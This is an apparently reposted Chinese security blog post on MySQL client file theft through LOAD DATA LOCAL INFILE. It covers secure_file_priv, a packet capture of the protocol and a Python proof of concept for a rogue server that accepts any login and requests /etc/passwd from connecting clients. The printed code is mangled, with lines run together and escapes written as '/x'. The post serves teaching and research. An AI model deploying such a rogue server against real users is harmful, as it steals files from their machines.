怎么实现MySQL客户端攻击链的探索

本篇文章为大家展示了怎么实现MySQL客户端攻击链的探索,内容简明扼要并且容易理解,绝对能使你眼前一亮,通过这篇文章的详细介绍希望你能有所收获。

0X01正文

MySQL LOAD DATA特性

LOAD DATA语句可以装载服务器主机上的文件,若指定LOCAL关键字,可以装载客户端文件。

还是看官方文档的描述吧

怎么实现MySQL客户端攻击链的探索

Mysql官方对在官方文档中已经阐述了LOAD DATA的危害性,并且对LOAD DATA特性的使用做了严格限制,例如secure_file_priv的设置

怎么实现MySQL客户端攻击链的探索

secure_file_priv的值为/var/lib/mysql-files/,那么secure_file_priv这里都有什么设置呢

  1. secure_file_priv为null    表示不允许导入导出

  2. secure_file_priv指定文件夹时,表示mysql的导入导出只能发生在指定的文件夹

  3. secure_file_priv没有设置时,则表示没有任何限制

对于LOAD DATA我们常用的语句搭配有两个,分别是操作客户端和服务器文件:



load data local infile "文件路径" into table 表名 fields terminated by '分隔符';
load data infile "文件路径" into table 表名 fields terminated by '分隔符';

第一个语句的意思是读取客户端上的文件并存入相应表中,第二个语句是读取服务器的文件并存入相应表中。我们要关注的是LOAD DATA LOCAL INFILE,因为利用这个我们可以在一定条件下,实现任意文件读取!

不过,正如前面提到的我们有个secure_file_priv,这个参数会限制我们读取文件的路径,我们首先配置一下它,方便我们稍后操做。

协议分析

环境:ubuntu 16.0.4,mysql 5.7.23

工具:tcpdump

这里使用的抓包命令为:



tcpdump -i lo port 3306 -w mysql.cap -v

mysql客户端与服务器的交互主要分为两个阶段:握手认证阶段和命令执行阶段.

握手为TCP三次握手,这里我们去繁就简,着重分析一下它的命令执行阶段

首先服务器向客户端发送一个Greeting问候包

怎么实现MySQL客户端攻击链的探索

主要为mysql和服务器一些banner信息!

然后客户端会发送一个Authentication包,其作用进行登陆请求,发送用户名密码(密码为两层sha1加密)和一些config。

怎么实现MySQL客户端攻击链的探索

接下来客户端发送的查询包,首先进行的是一些初始化查询!例如:select @@version_comment limit 1

怎么实现MySQL客户端攻击链的探索

然后是我们的查询包内容load data local infile语句!

怎么实现MySQL客户端攻击链的探索

收到我们的Query查询后,服务器会返回一个包含我们请求的文件名的响应包!

怎么实现MySQL客户端攻击链的探索

最后客户端向服务器发送了一个Response TABULAR 内容为服务器请求文件的内容!

怎么实现MySQL客户端攻击链的探索

至此,我们就读取了客户端的文件,并且在无secure_file_priv限制的情况下,我们可以进行任意文件读取!

那么问题来了,我们来再看一下官方文档!

怎么实现MySQL客户端攻击链的探索

从官方文档,我们可以知道服务器请求客户端文件的时候,并未约定指定文件,在这种情况下服务器只需要提供文件名,就可以读取客户端的任意文件,如果我们构造一个恶意的服务器,当客户端连接后,我们只需要伪造file transfer包就可以实现文件读取!当然前提是LOAD DATA LOCAL设置开启。

过程如图所示:

怎么实现MySQL客户端攻击链的探索

搭建恶意的服务端

搭建恶意服务器需要满足下面三个条件:

  • 首先向 MySQL Client 发送Server Greeting包

  • 等待Client 端发送一个Query Package包

  • 然后回复一个file transfer请求,来请求读取文件

首先,我们要知道如何构造如何构造File Transfer和Server Greeting数据包,在mysql的官方文档上已经给出了数据包的格式。

File Transfer数据包格式:https://dev.mysql.com/doc/internals/en/com-query-response.html

我们需要等待一个来自 Client 的查询请求,才能回复服务端的这个读文件的请求。

Greeting数据包格式:https://dev.mysql.com/doc/internals/en/connection-phase-packets.html#packet-Protocol::Handshake

测试

poc

代码来源:https://www.vesiluoma.com/abusing-mysql-clients/



#!/usr/bin/python#coding: utf8import socket# linux :#filestring = "/etc/passwd"# windows:#filestring = "C://Windows//system32//drivers//etc//hosts"HOST = "0.0.0.0" # open for eeeeveryone! ^_^PORT = 3306BUFFER_SIZE = 1024#1 Greetinggreeting = "/x5b/x00/x00/x00/x0a/x35/x2e/x36/x2e/x32/x38/x2d/x30/x75/x62/x75/x6e/x74/x75/x30/x2e/x31/x34/x2e/x30/x34/x2e/x31/x00/x2d/x00/x00/x00/x40/x3f/x59/x26/x4b/x2b/x34/x60/x00/xff/xf7/x08/x02/x00/x7f/x80/x15/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x68/x69/x59/x5f/x52/x5f/x63/x55/x60/x64/x53/x52/x00/x6d/x79/x73/x71/x6c/x5f/x6e/x61/x74/x69/x76/x65/x5f/x70/x61/x73/x73/x77/x6f/x72/x64/x00"#2 Accept all authenticationsauthok = "/x07/x00/x00/x02/x00/x00/x00/x02/x00/x00/x00"#3 Payload#数据包长度payloadlen = "/x0c"padding = "/x00/x00"payload = payloadlen + padding +  "/x01/xfb/x2f/x65/x74/x63/x2f/x70/x61/x73/x73/x77/x64"s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)s.bind((HOST, PORT))s.listen(1)while True:conn, addr = s.accept()print 'Connection from:', addr
   conn.send(greeting)while True:data = conn.recv(BUFFER_SIZE)print " ".join("%02x" % ord(i) for i in data)conn.send(authok)data = conn.recv(BUFFER_SIZE)conn.send(payload)print "[*] Payload send!"data = conn.recv(BUFFER_SIZE)if not data: breakprint "Data received:", databreak# Don't leave the connection open.conn.close()

Github项目:https://github.com/allyshka/Rogue-MySql-Server

攻击效果

这里使用github的项目测试,首先运行脚本如下:

怎么实现MySQL客户端攻击链的探索

怎么实现MySQL客户端攻击链的探索

我们可以发现,我们可以实现任意文件读取。

上述内容就是怎么实现MySQL客户端攻击链的探索,你们学到知识或技能了吗?如果还想学到更多技能或者丰富自己的知识储备,欢迎关注亿速云行业资讯频道。

原创文章,作者:ItWorker,如若转载,请注明出处:https://blog.ytso.com/221632.html

(0)
上一篇 2022年1月4日
下一篇 2022年1月4日

相关推荐

发表回复

登录后才能评论